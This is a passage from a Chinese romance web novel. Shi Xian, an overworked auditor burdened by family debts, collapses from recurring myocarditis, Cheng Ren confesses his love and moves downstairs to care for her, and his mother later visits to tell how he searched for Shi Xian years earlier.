相扣 时献回到住处认真回想,确定自己刚刚没有听错,可是,可是程任到底为什么会这样说?他说他吃醋?他为什么会吃醋?他怎么可能吃自己的醋? 她将手里的笔丢到桌上,一道题也没心情做,只觉得书上一眼望过去都是“吃醋”,看的她生气。 利雯洗完澡从浴室出来,经过时献房门口的时候就看到她躺在床上用枕头闷着自己的头,身体还忍不住来回滚。 “你这是,终于被工作给压榨疯了吗?”利雯站在门口问道。 时献立刻揭开枕头,从床上坐了起来,一时找不到合理的理由来解释自己的行径。 “我……” 利雯突然伸出手,“你别说话!我知道了。” 她突然笑得一脸古怪,手里抓着的干发巾在头发上迅速地包了一圈就坐到床边,对着时献说:“你是不是,恋!爱!了!” 时献脑中有警铃大响,在胸前抱紧了枕头,“不是的,我没有,别瞎说。” 利雯一副看穿的样子,啧啧了两声,“还否认三连,时献同学,你不觉得你自己现在这个样子很心虚吗?” 手机突然响起,时献看了眼来电,是程任。 利雯探过身子想瞄一点,奈何被时献立刻阻止,将她推出房间,顺手关门上锁。 “哎,哎你别这么小气嘛,你跟我说说我也好给你出谋划策嘛……” 时献完全无视她的挣扎,任她闹了一会儿,门外的声音渐渐消失了。 时献划开接听键,“喂,怎,怎么了。” “没什么,就是突然想起来,晚上忘了跟你说,恭喜你升职了。” 时献不好意思地挠挠头,“嗯,好啊,谢谢,其实也没怎么升。” 电话那头的人似乎在往杯中倒水,“基本算是了,经理助理做好了,会有很大的长进,不再像你现在这样只是负责自己局部的工作,整体观会慢慢培养起来,你不是在考CPA和税务师吗?理论学的这么快,实践能跟上很重要。” 时献原本接电话之前还有些尴尬的,毕竟晚上的气氛太过暧昧,但不知道程任是不是提前考虑到了这点,接通电话后就开始和她聊工作上的事,也不深聊,就简单提了心得,还顺带从她的岗位发展上给了些建议,不得不说,听完有种豁然开朗的感觉。 时献听着程任通过无线传过来的声音,和平时面对面沟通不太一样,又许是居家比较放松,此时声音里带着一丝慵懒,略显沙沙的声线,想象过去像穿着家居服斜靠在沙发上说话一样。 又聊了会儿,临近通话结束时,程任叫住了她。 “嗯?还有什么事吗?”时献问道。 程任清咳了一声,朗声说:“周末是元宵节,时慕回来了吧,我叫上苏少钦,之前找到你还没请他们吃饭呢,一起吧。” 时献也不知道自己为什么突然有点脸红,停顿了一下,很快就答应了。 到了周末那天,时献起了个大早,考虑到今天要出门大半天,复习时间会被压缩,必须得尽力补回来。于是前一天晚上咬咬牙定了个五点半的闹钟,第二天早上在床上翻滚了八遍才爬了起来,喝了杯提神的黑咖听完了一章节课才终于不那么负疚地换了衣服准备出门。 临出门前,招了招镜子,发现自己的气色不是很好,返回房间加了点腮红和高光,这才满意的出了门。 中午11点,程任和时献已经到了“忘业”,等了大约十来分钟,苏少钦和时慕一起到了。 苏少钦还和上次见到一样,看起来清爽又温和,比起授课老师,更像一个在读研究生。不过细心观察会发现,比起上次那副温文尔雅的样子,面上的表情控制的礼貌而疏离,今天的苏少钦,面部表情倒是生动了许多,笑意里带着真诚,减弱了很多全然客套的距离感。 或许是慢热吧,又或许,有相熟的朋友在场,今天也算是私人饭局,比平时更放松些,时献只稍稍好奇了一小会儿,同他打完招呼也就没再多想。 饭菜上桌,苏少钦和程任边吃边聊,时慕则只顾着和自己说学校里的趣事也没怎么吃东西,时献看她半天没动几口怕她饿着,想替她盛碗牛肉羹。 刚准备伸出手,苏少钦就已经拿起汤勺盛了起来,时献收回手,打算等他盛完再说。 谁知,苏少钦盛了大半碗后,没有自己喝,放到了时慕的右手边。 时献看过去,苏少钦和她的眼神对个正着,微笑着示意了一下,继续和程任说话。 倒是个绅士贴心的人,时献忍不住想,其实苏少钦私底下也没时慕说的那么严厉啊,人挺细致的。 时献冲时慕扬了扬下巴,让她先喝汤,时慕侧脸端汤时面色有一瞬间的不自然,抿了抿唇,像有点不好意思,但表情闪的很快,时献不确定自己看的对不对。 然后时慕就闷头喝完了一碗汤,许是饿了,又陆续吃了一会儿东西,没再抓着自己说个不停。 “上次你说要加一门小语种,买好课了吗?”时献突然想到春节时候时慕提过的小语种计划,于是问她。 时慕咬了口虾饺,点头说:“买了买了,跟着活动团购的,倒是不贵,够学到日常沟通就行了。” 苏少钦正和程任说着话,突然停了下来,对时慕说:“语种在精不在多,你现在大一时间比较宽裕,要加小语种就学的仔细点,不要泛泛沾一点就过,以后要做的专业翻译不是简单像带旅游团出个国就行了,对自己要求要高点。” 时慕听完垂眸放下手里的筷子,说了句“知道了。”就没再吃东西,端起一旁的柠檬水喝了起来。 看着时慕有些沮丧的表情,时献没有说什么,她之前听时慕说过苏少钦在专业上很严厉,今天看来,两人只是闲聊的话题都能被他指正过来,可见时慕平时怵他不是没有道理的,但所谓严师出高徒,苏少钦这么优秀的导师肯提点她,时献觉得没什么不好。 毕竟入了职场以后的生活会比学生时代更辛苦,如果能早点积攒好技能,以后面对工作上的困难恐怕会感谢当初努力的自己。 程任适时出声,挑起一个话题缓和了气氛,时慕被话题岔开心情,有些发愁的眉宇间稍微好了些,时献对程任体贴的行为感到暖心,抬头冲他露了个浅浅的笑。 饭后原本还有娱乐安排,毕竟今天是元宵节,好不容易聚在一起可以放松一下,但苏少钦接了一通系里的电话后说有急事就只能先返校。 往停车场走的时候,苏少钦问时慕说:“要和我一起回去吗?明天系里的口语竞赛你准备的怎么样?” 时慕原本想说今晚不回去,话没说出口就被苏少钦给堵了回来,看着苏少钦淡淡的神情,很没骨气地说:“回的,那麻烦苏老师载我了。” “那走吧。”苏少钦扯了扯嘴角,语气依旧淡淡的,但时献从他的神情中看到了满意的情绪,还带着点开心。 许是,许是对时慕的认真感到欣慰? 时慕回头恋恋不舍地和时献告别,眼神里都是眷恋,时献被她可怜的模样看得想发笑,碍于苏少钦在场,忍住了。时慕艰难地坐上车,按下车窗,双手扒在上面对着时献说:“姐姐那我回去了,下次放假来找你。”说完嘴巴微微嘟起,委屈的很。 时献笑着说好,苏少钦偏头看了时慕一眼,又扯了嘴角笑了一下,一踩油门,开车出了停车场。 时献确定这次她没看错了,他确实在开心。 回去的路上,时献坐在程任的车上一心惦记着刚才的事半天没说话。 程任等红灯的间隙偏头问她:“在想什么?看你一直在发愁。” 时献连忙摇头,她只是随便想想,可能是自己太敏感了,没打算把这点不合适的疑虑拿来问程任。 “没什么。”说完看到本该拐弯的车却径直开过了路口,“不是送我回去吗?我们这是要去哪?” “时间还早,难得放松,我们去看电影吧,前段时间上映了一部电影,听郑院说挺好看的,一直没去。” 时献也没什么反驳的理由,就同意了。 时值周末,又逢元宵,电影院人头攒动,程任取完票看了看周围人手一份饮料和爆米花也想去买,被时献拉住,说自己刚吃完饭吃不下东西了,这才作罢。 两人进了演播厅,他们来的太晚,中间的位置已经没了,只买到了倒数第二排的连座,时献视力还可以并不介意距离远一点,两人就这样摸着座位坐了下来。 电影开始放映,是一部挺缠绵悱恻的爱情片,时献在影片放映的前十分钟还心无旁骛的在看,奈何电影前期的节奏不快,影院暗沉的氛围又很好助眠,她昨晚睡得晚,早上起得又过早,现在咖啡早就过了效用,一边看一边视线开始模糊。 程任并不多喜欢看电影,只是听郑院极力推荐才忍不住听了他的话,据说是年度最佳爱情片,情侣观影必能让女生感动到落泪,谁知道这才开影十分钟,坐在一旁的时献就渐渐看睡着了。 程任想到自己居然会傻到诚心去请教郑院如何追女生,差点给自己气笑。 正想着,时献睡迷糊的脑袋就一点点往程任这边倾斜,程任往她那边靠了靠,适时递上了自己的肩膀。 时献一手搭在两人中间的扶手上,手掌越过扶手前端,垂在半空中。程任盯着她的手看了半晌,慢慢伸出自己的手,从下方渐渐扣上时献的手掌,手指交错开,和时献的手掌轻轻地十指相扣。 时献睡得十分迷糊,半梦半醒,耳边时不时可以听见一点嘈杂声,手掌间莫名寻到了点热源,那热源干燥又温暖,特别舒服,她想睁开眼看看到底是什么,但又醒不过来,只迷离地颤了颤眉毛,就又睡了过去。 两人的手掌扣的很松,时献迷糊中感觉到手里的热源有点忽远忽近的,不满地将手指微微向下抓了抓,然后就感觉到手上的热源贴的更紧了点,满意地彻底睡了过去。 程任看着两人相扣的手掌,嘴角慢慢上扬,逐渐绽放出欣喜的笑容。 好不好 春节的气氛彻底消弭后,各行各业的工作者全部返岗,新的一年开始,所有人又投入到紧张而忙碌的工作当中去了。 时献跟着叶桥星自元宵结束后就正式调入B组,工作节奏陡然加速。 叶桥星其实是个工作和私下反差很大的人,私下时为人随和又率性,工作起来话少而严格,切换速度快,效率极高。时献跟着他在总部梳理情况大半个月,挑了组里叶桥星觉得用的上的几个人,就马不停蹄地下去跑江中五部了。 等再回到启东的时候,早春都过了。 随着初夏的到来,何晨涛遗留下来的问题被叶桥星一一理清,江中五部各自自查,由庄亦定最终结果,B组一如时献所料,也被置换了几个人。 内审工作结束,最终报告呈给庄亦以后,叶桥星就提了休假申请,长达半个月之久,庄亦二话没说,直接同意了,顺带也给时献要了10天的假。 时献下班前跟叶桥星道谢的时候,他正解了西装领带斜靠在座椅上,看到她进门笑的一脸慵懒。 “别谢了,跟着我没日没夜的跑了两个多月,回去好好休息吧,这么如花似玉的年纪就该用来恋爱啊。” 说完冲她眨了眨眼,时献笑着问他,“跟你一样吗?你忙了这么久可没空恋爱,杨助理有没有跟你生气?” 只见他一脸懊恼,“你不知道,我再不忙完就要被他踹了,这几个月忙到都没有性生活。”说完就反应过来似乎不太合适,抱歉地冲时献一笑,时献无奈,哪怕共处了三个月,还是没能很好的适应叶桥星这随时口出惊人的嘴皮子。 六点一到,叶桥星就急不可耐地跑去庄亦办公室外等杨帆下班,明天要休假,时献稍微收拾了一下工作材料,下楼的时候还在电梯口遇到他俩并排站在一起。 叶桥星笑着跟她说他们要去超市买菜回家吃烛光晚餐,杨帆忍无可忍地用手肘捅了他一下,时献看叶桥星一手摸着肚子笑的一脸幸福,觉得有些好笑,又有些羡慕。 电梯一层层上来,时献突然觉得头有点重,她从早上开始就有些不舒服,到了这会不适感还是很明显,但叶桥星跟他说话的时候她还能笑着回应,就在想应该不是很严重就没太在意。直到站在一旁的杨帆看过来好几次,忍不住问她“你是不是不舒服?脸色不是太好。” 叶桥星这才注意到她的唇色似乎有些发白,问她需不需要去医院。 时献摆摆手,说只是有点累回去休息就好,刚说完电梯就到了一楼,时献笑着道别,先一步出了公司大楼。 杨帆看着她渐渐走远的背影看起来单薄却又倔强地挺的笔直,想了想还是拿出手机发了条信息出去。 时献回到住处,利雯还没回来,她肚子还感觉不到饿,只是觉得很困,身体有点发虚,进门后就直接将包丢在玄关,径直躺去房间的沙发上睡了过去。 这一觉睡的很不安稳。 时献的意识逐渐陷入一片混沌中,梦里的她似乎在一片海域里挣扎,身体随着波涛时而下沉至水底,时而上浮出水面获得短暂的呼吸,她浮出水面的时候看到了面前有一棵浮木,想伸手去抓,但每次都差了点,她每每伸出手要抓到的时候就发现那根救命的浮木越漂越远,她大声呼喊却发现根本出不了声。 时献在水里挣扎了很久,到最后几乎脱力,由着自己逐渐远离水面,渐渐下沉,梦境到这里画面就突然消失了。 然后她听到了一阵急促的敲门声,还有人在大声呼喊,是那种让她极度恐惧的急促敲门声,让她想到离开崇安那年的除夕前夜,上门讨债的人拥挤在院门外,将出路堵得水泄不通,只能听到呼喊声和敲门声,一声比一声高,一声比一声急促,用力击向门面的手掌仿佛要扼住她的脖子,将她拍碎。 时献渐渐蜷缩成一团,整个人往沙发里钻,想离声源远一点,可不管她怎么逃,震耳欲聋的砸门声还是如在耳侧。 突然,声音消失了,时献如获大救般放松了精神彻底昏睡了过去。 程任冲进房间的时候,看到的就是将自己蜷缩成一团的时献,整个人背对着自己,脸部紧靠沙发内测。他害怕地走过去蹲在旁边,将她掰过来,才看清时献额前的碎发已经被汗湿,从额头到脖颈像落水一样湿漉漉地,面部有不正常的潮红。 程任伸手摸了摸额头,发现时献额头的温度高到烫手,烫得他呼吸一窒。 站在一旁的利雯还没反应过来就听见面前的人让她带上时献的证件就直接抱着她出了门。 一路车速开得飞快,几乎是掐着超速边缘线在试探,所幸路况还好,有惊无险地抵达了医院。 程任坐在一旁,看着躺在病床上的时献,发现她好像脸又瘦了一圈,她本来肤色就白,现在陷在白色的被子里看起来白到失去生气,让他心颤。 程任无助地握住她的手,想起刚刚医生说的话,只觉得心都被揪着疼。 “病人有心肌炎病史你不知道吗?得过心肌炎的人不能过度劳累,复发的概率很大,这次好在送来及时没出什么事,否则……” 程任一句话都答不上来,他既不知道时献这五年到底是怎么过的,为什么之前会得心肌炎,也不知道她平时到底有多累。 后来还是站在一旁的利雯解释的,她面色担忧地说:“时献从大学开始就在不停的做兼职,没有停过,工作之后一边上班一边备考,就算被耽误了复习进度也会另外找时间补回来,晚睡到凌晨是常有的事,她和时献同住这么久,几乎没见她睡过懒觉,她好像永远都在忙,永远在挣钱,却永远觉得不够。” 程任听完沉默了很久才反应过来,见完医生后礼貌的道了谢,让利雯先回去,自己留了下来。 夜色渐渐深沉,窗外一片寂静,只留点点星光落在地上。 清晨的阳光透进窗,天光大亮,时献在冗长的睡眠中醒过来,她缓缓睁开眼,触目周遭是陌生的环境,半天都没反应过来自己在哪里。 还没来得及害怕,就看到熟悉的身影推开门进来了。 “你醒了?”不知道是不是错觉,时献觉得程任看起来好像很紧张,刚刚在看到她的那瞬间双眸又突然亮了起来。 “你怎么在这里?”开口才发现声音沙哑的不行,时献有些嫌弃自己的声音怎么突然这么难听,不高兴的瘪了瘪嘴。 程任没有立刻回答她,靠过来伸手摸了摸她的额头,“已经退烧了。”语气里带着庆幸。 “你生病了,我去找你的时候你已经晕过去了,我们现在在医院。” 时献动了动脑袋,认真回想着失去意识前的事,好像她回去以后就睡着了,然后就是一堆乱七八糟的梦,再醒来就看见了程任。 “还难受吗?要不要再睡会儿?” 时献本来想说不要,但刚要开口就想到自己的嗓音,她不想再让程任听,于是改为摇头。 程任倒了一杯温水递给她,烧了一晚上确实很渴,时献喝了大半杯,程任拿走,又将她扶起坐正,支起小桌板,端过来一份清粥。 这是要让自己吃饭? 时献往后缩了缩,没有要吃的意思。 "怎么了?" 时献指了指洗手间方向:“我想洗漱一下。” 程任笑了,伸手要去扶她,被她拒绝了。慢吞吞地下了床摸去洗手间,时献关上门,看着镜子里的自己,面色苍白的跟白纸一样没有血色,看起来憔悴又难看,她试着低声开口,还是这么难听,挫败地垂下头往脸上泼冷水。 简单收拾了一下,时献轻轻拍了拍脸,看起来比刚醒的时候精神了一些,深吸一口气,打开了门。 程任还是坐在床边,看她出来就放下了手机,他好像在和别人发信息,不知道是不是在忙公司的事,看起来惆怅的很,他今天不用上班吗?时献想着。 温吞地喝了半碗粥,时献喝不下去了,重新靠回床上,有些局促的和程任四目相对,她不知道为什么觉得程任今天有点怪怪的,从她醒来的时候就感觉到了。对她比之前更温柔体贴,虽然以前也对她很好,但又觉得哪里不太一样,比如她刚感觉到口渴就递上温水,刚坐稳就替她垫好枕头,还时不时问她难不难受,饿不饿,温柔的一塌糊涂,看得她险些受不了。 两人各有心事,无言相对了半晌,时献终于忍不住了,想做点什么打破这让她有点抓狂的安静。 她的手放在身侧的被子上,刚抬起一点准备去拿手机就被程任抓住。 然后她看见程任的另一只手也握住了自己,双手就这样贴着她的手心和手背,像捧着什么珍宝似的。 他目光低垂,沉默了一小会儿。 “献献。”程任突然开口叫她,声音有点发颤。 时献发现他今天的声音出奇的好听,和以往的感觉都不太一样,像夏天吹过的风一样清爽,像清泉流过溪河的清冽,慢慢拂过她的心头,有点痒,听的她心跳突然快了一拍,她突然有些害怕接下来的话了。 时献有些逃避地往外抽了抽自己的手,没有挣开,程任握的很紧,不容她抽走。 时献躲不开,只好对上程任的视线,只见他直直地看着自己,丝毫不掩饰眼神里的情绪,像要一直看到她的心里去。 呼吸有一瞬间的停滞。 他说:“我们在一起,好不好?” 窗外的嘈杂声远远传来,有风吹过树梢发出声响,门外还有来往经过的脚步声,时献觉得所有的声音都揉杂在了一起,全部混成了一种背景音,像电磁场受到干扰一般,将她的意识彻底地搅成了一团理不出源头的线。 长夜 时献定定地看着程任,过了会儿,慢慢低下头,看着身前的被子,也不说话。 程任怕她没理解自己的意思,摇了摇她的手,重复了一遍,“我喜欢你,想要照顾你,想和你在一起,献献,这样说你能明白吗?” 他的声音有些颤抖,“你,愿不愿意?” 时献这下确定自己听见了,如果说之前的行为让她还有误解的空间,那么刚刚程任说的话,无疑表达的很清楚。 不知道为什么,曾经求而不得的事现在放在面前,她第一反应是想逃,不是不想接受,是害怕,是不可置信,她不觉得程任的喜欢和她的喜欢是一件事。 时献稍稍平复了心情,用另一只手覆上程任的手,然后施力,将被握住的手抽了出来。 被包围的热量消失,有些空落落的发凉,时献将双手放置身侧,借力往后退了一点。 程任眼中的落寞显而易见,看了看自己空了的掌心,将双手十指交叉,紧张地等待着时献的回复。 时献背靠在墙面,眼神闪烁,不安的情绪明显,程任看着她眼里抗拒的意味越来越浓烈,心里就大概有数了,他努力说服自己,时献刚醒来,精神都没恢复过来,不能逼得太紧,自己到底还是太急躁了。 程任叹了口气,轻声安抚她:“没关系,你慢慢想,我不逼你,等你想好了再告诉我答案。” 他将被子往上理了理,手将要擦到时献的手背时,想到她刚才的抗拒,自己往旁边挪开了点,没碰到她。 医生来查房,又做了几项检测确定没什么大问题就给了出院建议,但临走前又多叮嘱了几遍切忌过度疲劳,程任一直在旁认真听着,末了谢了又谢才给时献办了出院。 时献万万没想到,长假才刚开始第一天居然在休息中度过。 她靠在窗边,看着程任的车在视线中逐渐消失,环着手臂将头倚在一旁,没注意到自己眼中的希翼淡了下来。 手机有软件提示音,时献看了眼屏幕,是挂靠的信用卡还款提醒,习惯性地打开,流畅地点了一通,选择“替对方还款”,手指覆上,指纹确定付款,短信通知扣款成功。 看了眼不算宽裕的余额,时献有些麻木地将手机丢到床上,伸手捏了捏疲惫的眉心。进浴室胡乱洗完了澡,往床上一躺就睡了过去。 时献并没有睡的很熟,恍惚中感觉到有声音在耳边吵,她在不安的睡眠中醒来,摸到了不远处的手机。 “喂……哪位?” “喂,献献,你现在方便吗?”是时中伟的声音,时献睁开眼,稍稍调整了一下声线,让自己听起来不像是生病的样子。“没事,怎么了?” 时中伟清咳了一声,问她:“你现在手头有钱吗?能不能再给我打一点?” 时献内心的一点微弱的期望消失不见,她回想着睡前看过的余额,有些头疼。 时中伟以为她不太高兴,自己也有点不好意思,说道:“我这边有点事,急需用钱,有的话你先打给我,下个月我发了工资就还你。” “你要多少?” “六千。”时献沉默了会儿,“知道了,一会儿给你打过去。”说完就要挂电话,时中伟突然出声喊住了她。 “怎么了?还有什么事吗?” 时中伟有些迟疑道:“没,没什么,你自己够用吗?要是不够的话,我,我再想想别的办法。” 时献听到这句不知道听过多少次的话,内心疲惫感激增,随意回了两句就挂断了电话。 时献将身体侧躺,默默在内心算了笔账,年后她的工资涨了20%,三个月没日没夜的加班也发了不少加班费,原本想着最近可以不用再接外面的活,白得的假期可以用来专心复习,现在一夜回到解放前,不接活是不现实了,下个季度的房租很快就要付了。 时献从联系人里发了条信息出去,表明自己最近有空可以多安排私活。 伸手揉了揉干涩的眼睛,头很重,一场懒觉竟没有让她得到半分轻松,想到出院前医生嘱咐的多休息少熬夜,只觉得这关心的话对她来说实在太奢侈,这几年一边学习一边做兼职从来没停过,熬夜于她来说家常便饭,休息于她来说倒是难得,因为她没有时间睡觉。 想到程任今天对自己流露出的紧张和心疼,她觉得特别受宠若惊,这种久违地被人捧在手心的小心感,被当成孩子来放纵宠溺,太遥远了,她五年前或许觉得甜蜜和平常,但现在,自己已经很难习惯被这样对待。 她在分开的这些年里逐渐变成了家里的大树,习惯了被张玉淑依赖、开导她因生病产生的消极情绪,安抚时慕成长中的敏感和伤怀,为时中伟分担生活的打击和重担。 她早就不是从前那个无忧无虑、恣意妄为的时献了。 她活着的每一天都不是在为自己生活,现在的她没有自我也没有梦想,她的梦想早就被现实碾压成散沙。如果,如果非要说一个的话,最多希望上天稍微分些好运给她,让她升职加薪,银行卡里能多存点余额。也许,也许以后的某一天等她解决了家里的困境,她还可以去做自己喜欢的事情,但这应该是痴心妄想。 至于程任,她已经没有多余的热情和爱意来回报他了,她所处的生活里这一地鸡毛的杂事已经将她团团围住,消耗了她几乎所有的热量,她真的没办法给出更多的回馈。 时献自嘲的笑了笑,将脸深深埋进被子里,她暗示自己不能在这些迷宫一样的情绪里反复,会掉进消极的漩涡中爬不出来的,她要好好活下去,她的生活还要继续,得尽快将这些糟糕的情绪驱赶走,不能由着它拽着自己往下沉。 窗外漆黑一片,连星星也看不见,时献抱着枕头翻了个身,内心也跟着漆黑一片,明天怎么还不来呢? 她想,这黑夜真漫长啊。 而城市的另一边,凌晨一点半,程任躺在公寓里的床上久久无法入睡,他划开手机,进入租房平台,在要求栏输入地点,很快,一连串的租房信息就跳了出来。 他粗略的扫了一眼房屋情况就直接预约了看房时间。 故人访 时献在家做私活的第三天,楼下好像有人在往里面搬家,她从外面回来的时候看到了,搬家公司的人进进出出,狭窄的楼道被各种纸箱旧家具占满了,她经过的时候差点被绊倒。 折腾了一上午嘈杂声终于消停,时献取下戴了大半天的耳机,继续做事。 “在家吗?”程任发来微信问她。 “在” 捧着手机等了会儿,谁知道他问完就没有回音了,于是锁屏,赌气般将手机丢得老远。 门铃突然响起,时献内心有个不太好的预感,慢慢走到门边,并不着急开门,试探着问了句:“谁啊?” “献献,是我,方便开门吗?” 一如所料,时献有些忐忑地开了门,看着程任穿一身家居服站在外面,手里提着“忘业”的打包盒。 程任十分自来熟地进了门,也没等她开口,就直接将东西放在餐桌上,一一打开,又指了指凳子,说:“想着你还没吃饭,就叫了一起叫了外卖,过来坐,吃饭了。” 这话总觉得哪里不太对劲,时献懵懵地坐下,接了他递过来的筷子,问道:“你叫外卖和我一起吃?你这是……?” 想到上午看到的搬家公司,时献脑中灵光闪过,“你别告诉我,楼下刚搬来的人是你。” 程任笑的一脸坦荡,将时献爱吃的汤包放到她面前,又摆好米醋,催着她赶紧趁热吃。 “是我,我现在住的地方离你太远,接送你都不方便,搬到你家楼下,方便照顾你。” 等下,接送???时献握着筷子僵在原地,只觉得要么是自己幻听要么是程任魔怔了,他,他这是做什么? “你不用这样。”时献喉咙一阵发紧,觉得堵得很,话也说不出口,但是她很清楚,程任再这样下去自己其实承受不起,“程任,你不欠我什么,真的不用这样对我,我,我可以照顾好自己,而且,你也有你自己的生活,实在没必要……” 程任出口阻拦了她的话,“我不是在弥补,献献。”他面上方才轻松的神色消失,十分郑重地说:“我那天说的话,每一句都是认真的,不是因为弥补心理,也不是可怜你,没有别的什么其他原因,就是想好好和你在一起,想一直照顾你。” “你没想好,暂时不答应我,没关系,我可以等,但是医生说的话你也听见了,你的身体不能再受累,你需要人照顾。”他顿了顿,“我可以照顾你,这件事不要拒绝我,好吗?” 时献败下阵来,对于说服人这件事,她实在是比不过程任。 “好吧,我早上会蹭你的车去上班,但是你不用接我,下班高峰期的时候你公司的方向过来会堵很久,我自己坐地铁回来就行。” 程任还想开口谁知时献咬死如果他不同意,自己就不肯搭便车,程任这才勉强答应。 接下来的几天,程任每天都会来找她吃早晚饭,带来的外卖每次都不重样,但无一例外都是“忘业”所出,吃的她满满都是负罪感,吃到第三天的时候终于忍不住开口拒绝。 “你吃腻了?”程任问她 时献放下汤碗,纠结着措辞,“也不是,就是,我也不能天天都让你送饭来啊,而且忘业家的东西都太贵了,日常过日子真不用这样。” 程任不以为然道,“你还在修养,要吃好一点,熟悉的餐厅附近的就这一家比较放心,价钱你不用介意,而且我也要吃饭,并不是为了你破费。” 时献又解释了几句,程任见她实在坚持,只好答应她吃到他出差前就好。 “你要出差?去哪里?去几天?” 问完才觉得自己的语气有点着急了,时献微红了下脸。 “京都,郑院他们在那边有个项目和启东这边分部合作,我要过去一起谈事。后天上午走。还不知道具体去几天,要看情况。” “这样啊。”时献低下头继续喝汤。 程任突然往前探了探身体,拉近了点距离,笑的很开心,他说,“献献,你是不是舍不得我?” 时献被突如其来的问题砸了个措手不及,下意识反问,“什么?” 程任又笑了,比刚才的笑意更深,眼眶里都盛着满满的欢喜,盈盈得像星星在闪烁光芒。 他微抬下巴,示意她看自己的手。时献低头,手里握着的勺子里空空如也,汤碗也早就空了,所以她刚刚就是这样子不停喝汤的? 脸腾地一下彻底红了个透,时献放下碗,囫囵地说了句,“我吃饱了,看书去了。”就连忙跑回房间。 身后传来程任再也抑制不住的大笑。 程任一走,时献的生活就归于一如既往的单调,利雯也是早出晚归忙工作,没人陪她吃饭,没人陪她说话,突然就有些不习惯了。 时献觉得自己真是没出息,被程任宠了一段时间,居然就变得这么娇气,想要人陪,想要人宠着,好像那几年白过了一样。 真是由奢入俭难,这样下去不行啊时小献。 时献在心里默默告诫了自己一下。 程任出差的第二天,启东按时进入了梅雨季,整座城市像被雨水泡发了一样,遍地生着潮气。时献拆开吸潮气的干燥包,往衣橱挂了几个,又打开风扇冲着墙壁四周吹风。还好住在五楼,不至于连墙壁也冒水,时献看了眼窗外,天空依旧雾蒙蒙的,时而阵雨时而绵绵细雨,有时睡到半夜还会下一场瓢泼暴雨,往年这个时候她还会烦躁,因为她要出门做兼职,衣服肯定会被淋湿,闷热的天气加上雨季的黏腻会让人一整天都没有好心情。 但今年不一样,今年的梅雨季,外面下着雨,她躲在自己的一方天地里,舒适地,凉爽地待着,不用出门也不用上班,除了偶尔跳出来的孤单感之外,她没有任何不适,这样已经很好了,对吧。 雨停了,时献打开窗户,雨后的生涩气息慢慢涌了进来,玻璃外侧上沾着水珠 有人在按门铃,时献诧异地回想,自己没有点外卖,利雯这个点不会回来,还能是谁? 时献按下开关,门锁啪嗒一声发出清脆的声响从扣锁中弹出。 门外的人出乎她的预料,却熟悉地让她立刻红了眼眶。 时献呆滞了几秒,轻轻地说,清姨。 他的五年 任清芸保养得当,看起来还是和以前一样优雅从容,全然不像过了50岁的人,虽然太久没见,但因为曾经相处的熟悉感,时献在见到任清芸的当下眼前的人就立刻和时献记忆中的样子重合了。 时献内心感慨万千,任清芸情绪也有些激动,在看到时献的那刻眼眶也跟着红了。 任清芸伸手捧着时献的脸,哽咽着问,“是不是清姨不来找你,你就不来见清姨了?” 时献抿着嘴,努力压制着哽咽声,小声地回:“不是的,我要去见清姨的,我……我忙忘了,您别生我气。” 任清芸哪里是真的责怪,从小看着长大的孩子,心里喜欢的不得了,惦记了这么多年好不容易重逢了开心还来不及。 她摸了摸时献的头,慈爱地说:“没事就好,清姨不生气,献献,长大了,我看着高兴,不生气。” 时献将她拉进门,两人坐在沙发上挨得很近,互相红着眼眶哽咽了半天才缓过来。 任清芸太久没见她,只觉得心里有好多话想说,也有好多问题想问清楚,但问题太多,一时也挑不出重点,时献倒乖巧,挑着毕业后这一年的事跟她说了个大概,一番沟通下来,也算让任清芸了解了自己的现状还算好,皱着的眉头终于见松,神色好了起来。 时献将倒好的水递过去,笑的可爱又乖巧,说:“还没问清姨,怎么突然来启东了?” 任清芸捧着水杯喝了一口,稍缓了缓,“学校和启外有个交流会,今天才到的,就想着你在这里,就先过来看你了。” 时献眼中一片柔意,觉得这种被人牵挂惦记的感觉让她整个人从内心透出满满的暖意,像游子漂泊在外恍然收到故乡的书信,任清芸于她而言和父母不同,是毫无关系的长辈,却是看着她一路成长过来不是亲人胜似亲人的存在,少了父母亲戚之间的压力,多了朋友的亲切感。 也曾牵着她的手走过门前小路,也曾抱她逗过她,还以师者角度教导过她在懵懂年纪应该知道的重要小事。时献抓着任清芸的胳膊摇了摇,找回了小时候撒娇的感觉,将头靠在任清芸的肩膀上蹭了蹭,犹如一只软糯的小猫在彷徨的转角处找到了带她回家的脚印。 两人就这么温情地互相依偎了很久,感受着久别重逢的喜悦,任清芸拍了拍她手背,突然开口问她:“你和程任,现在怎么样了?” 时献听到瞬间立起身,动了动嘴角,似乎还没想好该怎么回答。 “清姨不是要干涉你的决定和想法,你别紧张,清姨也不是要帮着自己儿子说话,只是作为看着你们长大的长辈来看,实在是想知道你是怎么想的。” “程任那小子,这些年我实在看的太清楚了,但是你,献献,清姨想听听你的想法。” 时献垂下的眼眸又抬起,眼中渐渐亮起一丝希翼,心中的期待这一次没有被自己抑制住,相反从急切想要知道的心愿中有了破土而出的势头。她小声地问:“他,他这些年,是不是,是……” 他这些年是不是和别人在一起,他是不是对自己心怀愧疚,他是不是想弥补过往…… 任清芸好似能懂她未说出口的话,安慰地看着她说:“他是不是没和你说过这些年是怎么过的?”说完看时献的反应就知道了,叹了口气说道:“那年你走后,没多久我们就回来了,看到你家搬空了才反应过来不对劲,打电话是空号,问物业和左右附近的邻居才知道你家出事了。” 任清芸顿了顿,似乎回忆过往让她有些不适,她缓了缓继续说:“那时候程任公司出了点状况,他赶去京都处理,连轴转了好几天才稳住了情况。接到我的电话后,连夜让郑院开车赶了回来,但,但你早就走了,房子也被银行查封了,程任他就沿着周围的住户一家一家过去问,找物业要监控看事发那天的情况,后来……” 任清芸眼中泛红,哽咽了一声,声音逐渐低了下去,“后来他就把自己关在房里,一遍遍看那天的监控,我,我说什么他也听不见,只是一个劲地问我,妈,我找不到献献该怎么办?” 时献只觉得胸腔里有块石头压着自己喘不过气来,过往的记忆如雪花一般飞速略过,那天家里拥挤的人群,激愤的吵闹辱骂声,和很多年都忘不掉的急促拍门声,这些嘈杂的记忆点如无数道碎片在脑海中闪过,她很多次午夜梦回里的绝望和恐惧都来源于此,还有她最后拨出的那通始终无人接听的电话盲音在黑暗的记忆漩涡里逐渐变成挥之不去的巨大回声。 往事真的不能回忆,时献平静的想,不知道程任看到监控的心情是怎样的,他从来没遇过这些事,回来以后再看到她家里一地狼藉不知道有没有吓到他呢。 时献深吸一口气,太久了,久到自己都能平静地面对这些事了,她嘴角扯了个宽慰的笑,轻轻地摇了摇头,示意自己没事。 